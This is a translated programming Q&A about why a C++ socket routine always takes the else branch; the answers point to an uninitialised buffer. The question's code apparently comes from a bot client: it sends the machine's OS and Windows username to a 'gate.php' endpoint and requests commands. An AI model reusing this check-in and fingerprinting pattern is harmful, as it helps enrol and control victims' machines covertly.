【问题标题】:C++ send and recv socketsC++ 发送和接收套接字
【发布时间】:2013-04-01 15:01:30
【问题描述】:

使用下面的代码,程序总是进入 if 的 else 部分,而不是第一个 - 为什么?

char buffer[10000];
    if(buffer[0] != '\0')
    {
        send(Socket, "GET /gbot/gate.php?page=get_cmd", strlen("GET /gbot/gate.php?page=get_cmd"), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
        buffer[0] = '\0';
    }
    else
    {
        string mybuf("GET /gbot/gate.php?page=ident&os=");
        if(getenv("windir") != NULL){
            mybuf += "windows&username=";
            mybuf += getenv("username");
            mybuf += "&version=win";
            mybuf += "\r\n\r\n";
        }
        else
            mybuf += "linux\r\n\r\n";
        send(Socket, mybuf.c_str(), mybuf.length(), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
    }

【问题讨论】:

  • 因为 buffer[0] 有 '\0',我猜。你说什么?
  • 但是在其他部分,当我通过套接字接收缓冲区时,它会改变,不是吗?
  • 当然它会改变,但这里没有循环可以回到if

标签: c++ windows sockets send


【解决方案1】:

在IF语句之前初始化数组;

char buffer[10000];
for (int i = 0; i < 10000; i++)
    buffer[i] = '1'; //you can initialize with any character except '\0' because you're testing for != in IF.

【讨论】:

    【解决方案2】:

    您从未初始化过char buffer[10000];,因此缓冲区的内容是不确定的。

    【讨论】:

      猜你喜欢
      • 2016-07-28
      • 2010-11-14
      • 2014-11-25
      • 2016-02-21
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2013-11-13
      • 1970-01-01
      相关资源
      最近更新 更多